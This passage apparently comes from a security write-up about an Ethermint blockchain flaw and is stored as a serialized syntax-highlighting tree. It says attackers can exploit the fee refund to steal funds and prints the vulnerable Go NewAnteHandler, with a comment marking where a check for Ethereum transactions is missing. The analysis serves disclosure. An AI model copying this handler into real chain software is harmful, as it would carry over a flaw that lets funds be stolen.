attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":25,"tag":34,"props":80886,"children":80887},{},[80888],{"type":25,"tag":71,"props":80889,"children":80892},{"href":80890,"rel":80891},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[75],[80893],{"type":31,"value":77823},{"type":25,"tag":191,"props":80895,"children":80897},{"code":80896,"language":77248,"meta":7,"className":77249,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[80898],{"type":25,"tag":115,"props":80899,"children":80900},{"__ignoreMap":7},[80901,80917,80942,80966,80983,81008,81034,81059,81082,81098,81154,81195,81221,81228,81274,81281,81327,81343,81373,81408,81460,81477,81485,81492,81521,81537,81545,81571,81579,81586,81598,81632,81678,81690,81697,81704,81711,81750,81757,81764,81771,81779,81786,81810,81834,81862,81887,81895,81928,81935,81947,81978,82033,82046,82054,82062,82070,82110,82118],{"type":25,"tag":201,"props":80902,"children":80903},{"class":203,"line":204},[80904,80908,80913],{"type":25,"tag":201,"props":80905,"children":80906},{"style":208},[80907],{"type":31,"value":77384},{"type":25,"tag":201,"props":80909,"children":80910},{"style":214},[80911],{"type":31,"value":80912}," NewAnteHandler",{"type":25,"tag":201,"props":80914,"children":80915},{"style":220},[80916],{"type":31,"value":4970},{"type":25,"tag":201,"props":80918,"children":80919},{"class":203,"line":226},[80920,80925,80930,80934,80938],{"type":25,"tag":201,"props":80921,"children":80922},{"style":246},[80923],{"type":31,"value":80924},"    ak",{"type":25,"tag":201,"props":80926,"children":80927},{"style":4925},[80928],{"type":31,"value":80929}," evmtypes",{"type":25,"tag":201,"props":80931,"children":80932},{"style":220},[80933],{"type":31,"value":80},{"type":25,"tag":201,"props":80935,"children":80936},{"style":4925},[80937],{"type":31,"value":80465},{"type":25,"tag":201,"props":80939,"children":80940},{"style":220},[80941],{"type":31,"value":547},{"type":25,"tag":201,"props":80943,"children":80944},{"class":203,"line":278},[80945,80950,80954,80958,80962],{"type":25,"tag":201,"props":80946,"children":80947},{"style":246},[80948],{"type":31,"value":80949},"    bankKeeper",{"type":25,"tag":201,"props":80951,"children":80952},{"style":4925},[80953],{"type":31,"value":80929},{"type":25,"tag":201,"props":80955,"children":80956},{"style":220},[80957],{"type":31,"value":80},{"type":25,"tag":201,"props":80959,"children":80960},{"style":4925},[80961],{"type":31,"value":80538},{"type":25,"tag":201,"props":80963,"children":80964},{"style":220},[80965],{"type":31,"value":547},{"type":25,"tag":201,"props":80967,"children":80968},{"class":203,"line":311},[80969,80974,80979],{"type":25,"tag":201,"props":80970,"children":80971},{"style":246},[80972],{"type":31,"value":80973},"    evmKeeper",{"type":25,"tag":201,"props":80975,"children":80976},{"style":4925},[80977],{"type":31,"value":80978}," EVMKeeper",{"type":25,"tag":201,"props":80980,"children":80981},{"style":220},[80982],{"type":31,"value":547},{"type":25,"tag":201,"props":80984,"children":80985},{"class":203,"line":330},[80986,80991,80996,81000,81004],{"type":25,"tag":201,"props":80987,"children":80988},{"style":246},[80989],{"type":31,"value":80990},"    feeGrantKeeper",{"type":25,"tag":201,"props":80992,"children":80993},{"style":4925},[80994],{"type":31,"value":80995}," authante",{"type":25,"tag":201,"props":80997,"children":80998},{"style":220},[80999],{"type":31,"value":80},{"type":25,"tag":201,"props":81001,"children":81002},{"style":4925},[81003],{"type":31,"value":80555},{"type":25,"tag":201,"props":81005,"children":81006},{"style":220},[81007],{"type":31,"value":547},{"type":25,"tag":201,"props":81009,"children":81010},{"class":203,"line":397},[81011,81016,81021,81025,81030],{"type":25,"tag":201,"props":81012,"children":81013},{"style":246},[81014],{"type":31,"value":81015},"    channelKeeper",{"type":25,"tag":201,"props":81017,"children":81018},{"style":4925},[81019],{"type":31,"value":81020}," channelkeeper",{"type":25,"tag":201,"props":81022,"children":81023},{"style":220},[81024],{"type":31,"value":80},{"type":25,"tag":201,"props":81026,"children":81027},{"style":4925},[81028],{"type":31,"value":81029},"Keeper",{"type":25,"tag":201,"props":81031,"children":81032},{"style":220},[81033],{"type":31,"value":547},{"type":25,"tag":201,"props":81035,"children":81036},{"class":203,"line":437},[81037,81042,81047,81051,81055],{"type":25,"tag":201,"props":81038,"children":81039},{"style":246},[81040],{"type":31,"value":81041},"    signModeHandler",{"type":25,"tag":201,"props":81043,"children":81044},{"style":4925},[81045],{"type":31,"value":81046}," authsigning",{"type":25,"tag":201,"props":81048,"children":81049},{"style":220},[81050],{"type":31,"value":80},{"type":25,"tag":201,"props":81052,"children":81053},{"style":4925},[81054],{"type":31,"value":80723},{"type":25,"tag":201,"props":81056,"children":81057},{"style":220},[81058],{"type":31,"value":547},{"type":25,"tag":201,"props":81060,"children":81061},{"class":203,"line":464},[81062,81066,81070,81074,81078],{"type":25,"tag":201,"props":81063,"children":81064},{"style":220},[81065],{"type":31,"value":385},{"type":25,"tag":201,"props":81067,"children":81068},{"style":4925},[81069],{"type":31,"value":79814},{"type":25,"tag":201,"props":81071,"children":81072},{"style":220},[81073],{"type":31,"value":80},{"type":25,"tag":201,"props":81075,"children":81076},{"style":4925},[81077],{"type":31,"value":79554},{"type":25,"tag":201,"props":81079,"children":81080},{"style":220},[81081],{"type":31,"value":327},{"type":25,"tag":201,"props":81083,"children":81084},{"class":203,"line":490},[81085,81089,81094],{"type":25,"tag":201,"props":81086,"children":81087},{"style":230},[81088],{"type":31,"value":18486},{"type":25,"tag":201,"props":81090,"children":81091},{"style":208},[81092],{"type":31,"value":81093}," func",{"type":25,"tag":201,"props":81095,"children":81096},{"style":220},[81097],{"type":31,"value":4970},{"type":25,"tag":201,"props":81099,"children":81100},{"class":203,"line":499},[81101,81105,81109,81113,81117,81121,81125,81129,81133,81137,81141,81146,81150],{"type":25,"tag":201,"props":81102,"children":81103},{"style":246},[81104],{"type":31,"value":27670},{"type":25,"tag":201,"props":81106,"children":81107},{"style":4925},[81108],{"type":31,"value":79725},{"type":25,"tag":201,"props":81110,"children":81111},{"style":220},[81112],{"type":31,"value":80},{"type":25,"tag":201,"props":81114,"children":81115},{"style":4925},[81116],{"type":31,"value":77433},{"type":25,"tag":201,"props":81118,"children":81119},{"style":220},[81120],{"type":31,"value":919},{"type":25,"tag":201,"props":81122,"children":81123},{"style":246},[81124],{"type":31,"value":80265},{"type":25,"tag":201,"props":81126,"children":81127},{"style":4925},[81128],{"type":31,"value":79725},{"type":25,"tag":201,"props":81130,"children":81131},{"style":220},[81132],{"type":31,"value":80},{"type":25,"tag":201,"props":81134,"children":81135},{"style":4925},[81136],{"type":31,"value":79758},{"type":25,"tag":201,"props":81138,"children":81139},{"style":220},[81140],{"type":31,"value":919},{"type":25,"tag":201,"props":81142,"children":81143},{"style":246},[81144],{"type":31,"value":81145},"sim",{"type":25,"tag":201,"props":81147,"children":81148},{"style":4925},[81149],{"type":31,"value":13552},{"type":25,"tag":201,"props":81151,"children":81152},{"style":220},[81153],{"type":31,"value":547},{"type":25,"tag":201,"props":81155,"children":81156},{"class":203,"line":522},[81157,81162,81167,81171,81175,81179,81183,81187,81191],{"type":25,"tag":201,"props":81158,"children":81159},{"style":220},[81160],{"type":31,"value":81161},"    ) (",{"type":25,"tag":201,"props":81163,"children":81164},{"style":246},[81165],{"type":31,"value":81166},"newCtx",{"type":25,"tag":201,"props":81168,"children":81169},{"style":4925},[81170],{"type":31,"value":79725},{"type":25,"tag":201,"props":81172,"children":81173},{"style":220},[81174],{"type":31,"value":80},{"type":25,"tag":201,"props":81176,"children":81177},{"style":4925},[81178],{"type":31,"value":77433},{"type":25,"tag":201,"props":81180,"children":81181},{"style":220},[81182],{"type":31,"value":919},{"type":25,"tag":201,"props":81184,"children":81185},{"style":246},[81186],{"type":31,"value":49497},{"type":25,"tag":201,"props":81188,"children":81189},{"style":4925},[81190],{"type":31,"value":16375},{"type":25,"tag":201,"props":81192,"children":81193},{"style":220},[81194],{"type":31,"value":275},{"type":25,"tag":201,"props":81196,"children":81197},{"class":203,"line":531},[81198,81203,81208,81212,81216],{"type":25,"tag":201,"props":81199,"children":81200},{"style":208},[81201],{"type":31,"value":81202},"        var",{"type":25,"tag":201,"props":81204,"children":81205},{"style":246},[81206],{"type":31,"value":81207}," anteHandler",{"type":25,"tag":201,"props":81209,"children":81210},{"style":4925},[81211],{"type":31,"value":79725},{"type":25,"tag":201,"props":81213,"children":81214},{"style":220},[81215],{"type":31,"value":80},{"type":25,"tag":201,"props":81217,"children":81218},{"style":4925},[81219],{"type":31,"value":81220},"AnteHandler\n",{"type":25,"tag":201,"props":81222,"children":81223},{"class":203,"line":550},[81224],{"type":25,"tag":201,"props":81225,"children":81226},{"emptyLinePlaceholder":17},[81227],{"type":31,"value":496},{"type":25,"tag":201,"props":81229,"children":81230},{"class":203,"line":563},[81231,81236,81241,81245,81249,81253,81258,81262,81266,81270],{"type":25,"tag":201,"props":81232,"children":81233},{"style":230},[81234],{"type":31,"value":81235},"        defer",{"type":25,"tag":201,"props":81237,"children":81238},{"style":214},[81239],{"type":31,"value":81240}," Recover",{"type":25,"tag":201,"props":81242,"children":81243},{"style":220},[81244],{"type":31,"value":298},{"type":25,"tag":201,"props":81246,"children":81247},{"style":246},[81248],{"type":31,"value":21777},{"type":25,"tag":201,"props":81250,"children":81251},{"style":220},[81252],{"type":31,"value":80},{"type":25,"tag":201,"props":81254,"children":81255},{"style":214},[81256],{"type":31,"value":81257},"Logger",{"type":25,"tag":201,"props":81259,"children":81260},{"style":220},[81261],{"type":31,"value":19873},{"type":25,"tag":201,"props":81263,"children":81264},{"style":261},[81265],{"type":31,"value":4615},{"type":25,"tag":201,"props":81267,"children":81268},{"style":246},[81269],{"type":31,"value":49497},{"type":25,"tag":201,"props":81271,"children":81272},{"style":220},[81273],{"type":31,"value":4666},{"type":25,"tag":201,"props":81275,"children":81276},{"class":203,"line":572},[81277],{"type":25,"tag":201,"props":81278,"children":81279},{"emptyLinePlaceholder":17},[81280],{"type":31,"value":496},{"type":25,"tag":201,"props":81282,"children":81283},{"class":203,"line":590},[81284,81289,81293,81297,81301,81305,81309,81314,81318,81323],{"type":25,"tag":201,"props":81285,"children":81286},{"style":246},[81287],{"type":31,"value":81288},"        txWithExtensions",{"type":25,"tag":201,"props":81290,"children":81291},{"style":220},[81292],{"type":31,"value":919},{"type":25,"tag":201,"props":81294,"children":81295},{"style":246},[81296],{"type":31,"value":79851},{"type":25,"tag":201,"props":81298,"children":81299},{"style":261},[81300],{"type":31,"value":77500},{"type":25,"tag":201,"props":81302,"children":81303},{"style":246},[81304],{"type":31,"value":69109},{"type":25,"tag":201,"props":81306,"children":81307},{"style":220},[81308],{"type":31,"value":79864},{"type":25,"tag":201,"props":81310,"children":81311},{"style":4925},[81312],{"type":31,"value":81313},"authante",{"type":25,"tag":201,"props":81315,"children":81316},{"style":220},[81317],{"type":31,"value":80},{"type":25,"tag":201,"props":81319,"children":81320},{"style":4925},[81321],{"type":31,"value":81322},"HasExtensionOptionsTx",{"type":25,"tag":201,"props":81324,"children":81325},{"style":220},[81326],{"type":31,"value":4666},{"type":25,"tag":201,"props":81328,"children":81329},{"class":203,"line":608},[81330,81334,81339],{"type":25,"tag":201,"props":81331,"children":81332},{"style":230},[81333],{"type":31,"value":4779},{"type":25,"tag":201,"props":81335,"children":81336},{"style":246},[81337],{"type":31,"value":81338}," ok",{"type":25,"tag":201,"props":81340,"children":81341},{"style":220},[81342],{"type":31,"value":327},{"type":25,"tag":201,"props":81344,"children":81345},{"class":203,"line":617},[81346,81351,81355,81360,81364,81369],{"type":25,"tag":201,"props":81347,"children":81348},{"style":246},[81349],{"type":31,"value":81350},"            opts",{"type":25,"tag":201,"props":81352,"children":81353},{"style":261},[81354],{"type":31,"value":77500},{"type":25,"tag":201,"props":81356,"children":81357},{"style":246},[81358],{"type":31,"value":81359}," txWithExtensions",{"type":25,"tag":201,"props":81361,"children":81362},{"style":220},[81363],{"type":31,"value":80},{"type":25,"tag":201,"props":81365,"children":81366},{"style":214},[81367],{"type":31,"value":81368},"GetExtensionOptions",{"type":25,"tag":201,"props":81370,"children":81371},{"style":220},[81372],{"type":31,"value":1882},{"type":25,"tag":201,"props":81374,"children":81375},{"class":203,"line":625},[81376,81380,81384,81388,81392,81396,81400,81404],{"type":25,"tag":201,"props":81377,"children":81378},{"style":230},[81379],{"type":31,"value":59880},{"type":25,"tag":201,"props":81381,"children":81382},{"style":214},[81383],{"type":31,"value":10065},{"type":25,"tag":201,"props":81385,"children":81386},{"style":220},[81387],{"type":31,"value":298},{"type":25,"tag":201,"props":81389,"children":81390},{"style":246},[81391],{"type":31,"value":49639},{"type":25,"tag":201,"props":81393,"children":81394},{"style":220},[81395],{"type":31,"value":385},{"type":25,"tag":201,"props":81397,"children":81398},{"style":261},[81399],{"type":31,"value":1342},{"type":25,"tag":201,"props":81401,"children":81402},{"style":426},[81403],{"type":31,"value":4554},{"type":25,"tag":201,"props":81405,"children":81406},{"style":220},[81407],{"type":31,"value":327},{"type":25,"tag":201,"props":81409,"children":81410},{"class":203,"line":642},[81411,81416,81421,81425,81430,81434,81438,81442,81447,81451,81456],{"type":25,"tag":201,"props":81412,"children":81413},{"style":230},[81414],{"type":31,"value":81415},"                switch",{"type":25,"tag":201,"props":81417,"children":81418},{"style":246},[81419],{"type":31,"value":81420}," typeURL",{"type":25,"tag":201,"props":81422,"children":81423},{"style":261},[81424],{"type":31,"value":77500},{"type":25,"tag":201,"props":81426,"children":81427},{"style":246},[81428],{"type":31,"value":81429}," opts",{"type":25,"tag":201,"props":81431,"children":81432},{"style":220},[81433],{"type":31,"value":423},{"type":25,"tag":201,"props":81435,"children":81436},{"style":426},[81437],{"type":31,"value":429},{"type":25,"tag":201,"props":81439,"children":81440},{"style":220},[81441],{"type":31,"value":51426},{"type":25,"tag":201,"props":81443,"children":81444},{"style":214},[81445],{"type":31,"value":81446},"GetTypeUrl",{"type":25,"tag":201,"props":81448,"children":81449},{"style":220},[81450],{"type":31,"value":29933},{"type":25,"tag":201,"props":81452,"children":81453},{"style":246},[81454],{"type":31,"value":81455},"typeURL",{"type":25,"tag":201,"props":81457,"children":81458},{"style":220},[81459],{"type":31,"value":327},{"type":25,"tag":201,"props":81461,"children":81462},{"class":203,"line":659},[81463,81468,81473],{"type":25,"tag":201,"props":81464,"children":81465},{"style":230},[81466],{"type":31,"value":81467},"                case",{"type":25,"tag":201,"props":81469,"children":81470},{"style":267},[81471],{"type":31,"value":81472}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":25,"tag":201,"props":81474,"children":81475},{"style":220},[81476],{"type":31,"value":7077},{"type":25,"tag":201,"props":81478,"children":81479},{"class":203,"line":667},[81480],{"type":25,"tag":201,"props":81481,"children":81482},{"style":4497},[81483],{"type":31,"value":81484},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":25,"tag":201,"props":81486,"children":81487},{"class":203,"line":676},[81488],{"type":25,"tag":201,"props":81489,"children":81490},{"emptyLinePlaceholder":17},[81491],{"type":31,"value":496},{"type":25,"tag":201,"props":81493,"children":81494},{"class":203,"line":694},[81495,81500,81504,81508,81512,81517],{"type":25,"tag":201,"props":81496,"children":81497},{"style":246},[81498],{"type":31,"value":81499},"                    anteHandler",{"type":25,"tag":201,"props":81501,"children":81502},{"style":261},[81503],{"type":31,"value":413},{"type":25,"tag":201,"props":81505,"children":81506},{"style":246},[81507],{"type":31,"value":79725},{"type":25,"tag":201,"props":81509,"children":81510},{"style":220},[81511],{"type":31,"value":80},{"type":25,"tag":201,"props":81513,"children":81514},{"style":214},[81515],{"type":31,"value":81516},"ChainAnteDecorators",{"type":25,"tag":201,"props":81518,"children":81519},{"style":220},[81520],{"type":31,"value":4970},{"type":25,"tag":201,"props":81522,"children":81523},{"class":203,"line":707},[81524,81529,81533],{"type":25,"tag":201,"props":81525,"children":81526},{"style":214},[81527],{"type":31,"value":81528},"                        NewEthSetUpContextDecorator",{"type":25,"tag":201,"props":81530,"children":81531},{"style":220},[81532],{"type":31,"value":19873},{"type":25,"tag":201,"props":81534,"children":81535},{"style":4497},[81536],{"type":31,"value":80379},{"type":25,"tag":201,"props":81538,"children":81539},{"class":203,"line":715},[81540],{"type":25,"tag":201,"props":81541,"children":81542},{"style":261},[81543],{"type":31,"value":81544},"                        ...\n",{"type":25,"tag":201,"props":81546,"children":81547},{"class":203,"line":732},[81548,81553,81557,81562,81566],{"type":25,"tag":201,"props":81549,"children":81550},{"style":214},[81551],{"type":31,"value":81552},"                        NewEthIncrementSenderSequenceDecorator",{"type":25,"tag":201,"props":81554,"children":81555},{"style":220},[81556],{"type":31,"value":298},{"type":25,"tag":201,"props":81558,"children":81559},{"style":246},[81560],{"type":31,"value":81561},"ak",{"type":25,"tag":201,"props":81563,"children":81564},{"style":220},[81565],{"type":31,"value":16674},{"type":25,"tag":201,"props":81567,"children":81568},{"style":4497},[81569],{"type":31,"value":81570},"// innermost AnteDecorator.\n",{"type":25,"tag":201,"props":81572,"children":81573},{"class":203,"line":749},[81574],{"type":25,"tag":201,"props":81575,"children":81576},{"style":220},[81577],{"type":31,"value":81578},"                    )\n",{"type":25,"tag":201,"props":81580,"children":81581},{"class":203,"line":757},[81582],{"type":25,"tag":201,"props":81583,"children":81584},{"emptyLinePlaceholder":17},[81585],{"type":31,"value":496},{"type":25,"tag":201,"props":81587,"children":81588},{"class":203,"line":765},[81589,81594],{"type":25,"tag":201,"props":81590,"children":81591},{"style":230},[81592],{"type":31,"value":81593},"                default",{"type":25,"tag":201,"props":81595,"children":81596},{"style":220},[81597],{"type":31,"value":7077},{"type":25,"tag":201,"props":81599,"children":81600},{"class":203,"line":783},[81601,81606,81610,81614,81619,81623,81628],{"type":25,"tag":201,"props":81602,"children":81603},{"style":230},[81604],{"type":31,"value":81605},"                    return",{"type":25,"tag":201,"props":81607,"children":81608},{"style":246},[81609],{"type":31,"value":27327},{"type":25,"tag":201,"props":81611,"children":81612},{"style":220},[81613],{"type":31,"value":919},{"type":25,"tag":201,"props":81615,"children":81616},{"style":246},[81617],{"type":31,"value":81618},"stacktrace",{"type":25,"tag":201,"props":81620,"children":81621},{"style":220},[81622],{"type":31,"value":80},{"type":25,"tag":201,"props":81624,"children":81625},{"style":214},[81626],{"type":31,"value":81627},"Propagate",{"type":25,"tag":201,"props":81629,"children":81630},{"style":220},[81631],{"type":31,"value":4970},{"type":25,"tag":201,"props":81633,"children":81634},{"class":203,"line":792},[81635,81640,81644,81648,81652,81657,81661,81666,81670,81674],{"type":25,"tag":201,"props":81636,"children":81637},{"style":246},[81638],{"type":31,"value":81639},"                        sdkerrors",{"type":25,"tag":201,"props":81641,"children":81642},{"style":220},[81643],{"type":31,"value":80},{"type":25,"tag":201,"props":81645,"children":81646},{"style":214},[81647],{"type":31,"value":79930},{"type":25,"tag":201,"props":81649,"children":81650},{"style":220},[81651],{"type":31,"value":298},{"type":25,"tag":201,"props":81653,"children":81654},{"style":246},[81655],{"type":31,"value":81656},"sdkerrors",{"type":25,"tag":201,"props":81658,"children":81659},{"style":220},[81660],{"type":31,"value":80},{"type":25,"tag":201,"props":81662,"children":81663},{"style":246},[81664],{"type":31,"value":81665},"ErrUnknownExtensionOptions",{"type":25,"tag":201,"props":81667,"children":81668},{"style":220},[81669],{"type":31,"value":919},{"type":25,"tag":201,"props":81671,"children":81672},{"style":246},[81673],{"type":31,"value":81455},{"type":25,"tag":201,"props":81675,"children":81676},{"style":220},[81677],{"type":31,"value":8245},{"type":25,"tag":201,"props":81679,"children":81680},{"class":203,"line":801},[81681,81686],{"type":25,"tag":201,"props":81682,"children":81683},{"style":267},[81684],{"type":31,"value":81685},"                        \"rejecting tx with unsupported extension option\"",{"type":25,"tag":201,"props":81687,"children":81688},{"style":220},[81689],{"type":31,"value":547},{"type":25,"tag":201,"props":81691,"children":81692},{"class":203,"line":809},[81693],{"type":25,"tag":201,"props":81694,"children":81695},{"style":220},[81696],{"type":31,"value":81578},{"type":25,"tag":201,"props":81698,"children":81699},{"class":203,"line":857},[81700],{"type":25,"tag":201,"props":81701,"children":81702},{"style":220},[81703],{"type":31,"value":72153},{"type":25,"tag":201,"props":81705,"children":81706},{"class":203,"line":865},[81707],{"type":25,"tag":201,"props":81708,"children":81709},{"emptyLinePlaceholder":17},[81710],{"type":31,"value":496},{"type":25,"tag":201,"props":81712,"children":81713},{"class":203,"line":931},[81714,81718,81722,81726,81730,81734,81738,81742,81746],{"type":25,"tag":201,"props":81715,"children":81716},{"style":230},[81717],{"type":31,"value":61808},{"type":25,"tag":201,"props":81719,"children":81720},{"style":214},[81721],{"type":31,"value":81207},{"type":25,"tag":201,"props":81723,"children":81724},{"style":220},[81725],{"type":31,"value":298},{"type":25,"tag":201,"props":81727,"children":81728},{"style":246},[81729],{"type":31,"value":21777},{"type":25,"tag":201,"props":81731,"children":81732},{"style":220},[81733],{"type":31,"value":919},{"type":25,"tag":201,"props":81735,"children":81736},{"style":246},[81737],{"type":31,"value":80265},{"type":25,"tag":201,"props":81739,"children":81740},{"style":220},[81741],{"type":31,"value":919},{"type":25,"tag":201,"props":81743,"children":81744},{"style":246},[81745],{"type":31,"value":81145},{"type":25,"tag":201,"props":81747,"children":81748},{"style":220},[81749],{"type":31,"value":4666},{"type":25,"tag":201,"props":81751,"children":81752},{"class":203,"line":939},[81753],{"type":25,"tag":201,"props":81754,"children":81755},{"style":220},[81756],{"type":31,"value":59964},{"type":25,"tag":201,"props":81758,"children":81759},{"class":203,"line":960},[81760],{"type":25,"tag":201,"props":81761,"children":81762},{"style":220},[81763],{"type":31,"value":4853},{"type":25,"tag":201,"props":81765,"children":81766},{"class":203,"line":977},[81767],{"type":25,"tag":201,"props":81768,"children":81769},{"emptyLinePlaceholder":17},[81770],{"type":31,"value":496},{"type":25,"tag":201,"props":81772,"children":81773},{"class":203,"line":994},[81774],{"type":25,"tag":201,"props":81775,"children":81776},{"style":4497},[81777],{"type":31,"value":81778},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":25,"tag":201,"props":81780,"children":81781},{"class":203,"line":1016},[81782],{"type":25,"tag":201,"props":81783,"children":81784},{"emptyLinePlaceholder":17},[81785],{"type":31,"value":496},{"type":25,"tag":201,"props":81787,"children":81788},{"class":203,"line":1089},[81789,81794,81798,81802,81806],{"type":25,"tag":201,"props":81790,"children":81791},{"style":230},[81792],{"type":31,"value":81793},"        switch",{"type":25,"tag":201,"props":81795,"children":81796},{"style":246},[81797],{"type":31,"value":69109},{"type":25,"tag":201,"props":81799,"children":81800},{"style":220},[81801],{"type":31,"value":79864},{"type":25,"tag":201,"props":81803,"children":81804},{"style":208},[81805],{"type":31,"value":1684},{"type":25,"tag":201,"props":81807,"children":81808},{"style":220},[81809],{"type":31,"value":275},{"type":25,"tag":201,"props":81811,"children":81812},{"class":203,"line":1107},[81813,81818,81822,81826,81830],{"type":25,"tag":201,"props":81814,"children":81815},{"style":230},[81816],{"type":31,"value":81817},"        case",{"type":25,"tag":201,"props":81819,"children":81820},{"style":4925},[81821],{"type":31,"value":79725},{"type":25,"tag":201,"props":81823,"children":81824},{"style":220},[81825],{"type":31,"value":80},{"type":25,"tag":201,"props":81827,"children":81828},{"style":4925},[81829],{"type":31,"value":79758},{"type":25,"tag":201,"props":81831,"children":81832},{"style":220},[81833],{"type":31,"value":7077},{"type":25,"tag":201,"props":81835,"children":81836},{"class":203,"line":1116},[81837,81842,81846,81850,81854,81858],{"type":25,"tag":201,"props":81838,"children":81839},{"style":246},[81840],{"type":31,"value":81841},"            anteHandler",{"type":25,"tag":201,"props":81843,"children":81844},{"style":261},[81845],{"type":31,"value":413},{"type":25,"tag":201,"props":81847,"children":81848},{"style":246},[81849],{"type":31,"value":79725},{"type":25,"tag":201,"props":81851,"children":81852},{"style":220},[81853],{"type":31,"value":80},{"type":25,"tag":201,"props":81855,"children":81856},{"style":214},[81857],{"type":31,"value":81516},{"type":25,"tag":201,"props":81859,"children":81860},{"style":220},[81861],{"type":31,"value":4970},{"type":25,"tag":201,"props":81863,"children":81864},{"class":203,"line":1124},[81865,81870,81874,81879,81883],{"type":25,"tag":201,"props":81866,"children":81867},{"style":246},[81868],{"type":31,"value":81869},"                authante",{"type":25,"tag":201,"props":81871,"children":81872},{"style":220},[81873],{"type":31,"value":80},{"type":25,"tag":201,"props":81875,"children":81876},{"style":214},[81877],{"type":31,"value":81878},"NewSetUpContextDecorator",{"type":25,"tag":201,"props":81880,"children":81881},{"style":220},[81882],{"type":31,"value":19873},{"type":25,"tag":201,"props":81884,"children":81885},{"style":4497},[81886],{"type":31,"value":80379},{"type":25,"tag":201,"props":81888,"children":81889},{"class":203,"line":1163},[81890],{"type":25,"tag":201,"props":81891,"children":81892},{"style":261},[81893],{"type":31,"value":81894},"                 ...\n",{"type":25,"tag":201,"props":81896,"children":81897},{"class":203,"line":1172},[81898,81902,81906,81911,81915,81919,81923],{"type":25,"tag":201,"props":81899,"children":81900},{"style":246},[81901],{"type":31,"value":81869},{"type":25,"tag":201,"props":81903,"children":81904},{"style":220},[81905],{"type":31,"value":80},{"type":25,"tag":201,"props":81907,"children":81908},{"style":214},[81909],{"type":31,"value":81910},"NewIncrementSequenceDecorator",{"type":25,"tag":201,"props":81912,"children":81913},{"style":220},[81914],{"type":31,"value":298},{"type":25,"tag":201,"props":81916,"children":81917},{"style":246},[81918],{"type":31,"value":81561},{"type":25,"tag":201,"props":81920,"children":81921},{"style":220},[81922],{"type":31,"value":16674},{"type":25,"tag":201,"props":81924,"children":81925},{"style":4497},[81926],{"type":31,"value":81927},"// innermost AnteDecorator\n",{"type":25,"tag":201,"props":81929,"children":81930},{"class":203,"line":1181},[81931],{"type":25,"tag":201,"props":81932,"children":81933},{"style":220},[81934],{"type":31,"value":78599},{"type":25,"tag":201,"props":81936,"children":81937},{"class":203,"line":1190},[81938,81943],{"type":25,"tag":201,"props":81939,"children":81940},{"style":230},[81941],{"type":31,"value":81942},"        default",{"type":25,"tag":201,"props":81944,"children":81945},{"style":220},[81946],{"type":31,"value":7077},{"type":25,"tag":201,"props":81948,"children":81949},{"class":203,"line":1198},[81950,81954,81958,81962,81966,81970,81974],{"type":25,"tag":201,"props":81951,"children":81952},{"style":230},[81953],{"type":31,"value":80160},{"type":25,"tag":201,"props":81955,"children":81956},{"style":246},[81957],{"type":31,"value":27327},{"type":25,"tag":201,"props":81959,"children":81960},{"style":220},[81961],{"type":31,"value":919},{"type":25,"tag":201,"props":81963,"children":81964},{"style":246},[81965],{"type":31,"value":81618},{"type":25,"tag":201,"props":81967,"children":81968},{"style":220},[81969],{"type":31,"value":80},{"type":25,"tag":201,"props":81971,"children":81972},{"style":214},[81973],{"type":31,"value":81627},{"type":25,"tag":201,"props":81975,"children":81976},{"style":220},[81977],{"type":31,"value":4970},{"type":25,"tag":201,"props":81979,"children":81980},{"class":203,"line":1220},[81981,81986,81990,81995,81999,82003,82007,82012,82016,82021,82025,82029],{"type":25,"tag":201,"props":81982,"children":81983},{"style":246},[81984],{"type":31,"value":81985},"                sdkerrors",{"type":25,"tag":201,"props":81987,"children":81988},{"style":220},[81989],{"type":31,"value":80},{"type":25,"tag":201,"props":81991,"children":81992},{"style":214},[81993],{"type":31,"value":81994},"Wrapf",{"type":25,"tag":201,"props":81996,"children":81997},{"style":220},[81998],{"type":31,"value":298},{"type":25,"tag":201,"props":82000,"children":82001},{"style":246},[82002],{"type":31,"value":81656},{"type":25,"tag":201,"props":82004,"children":82005},{"style":220},[82006],{"type":31,"value":80},{"type":25,"tag":201,"props":82008,"children":82009},{"style":246},[82010],{"type":31,"value":82011},"ErrUnknownRequest",{"type":25,"tag":201,"props":82013,"children":82014},{"style":220},[82015],{"type":31,"value":919},{"type":25,"tag":201,"props":82017,"children":82018},{"style":267},[82019],{"type":31,"value":82020},"\"invalid transaction type: 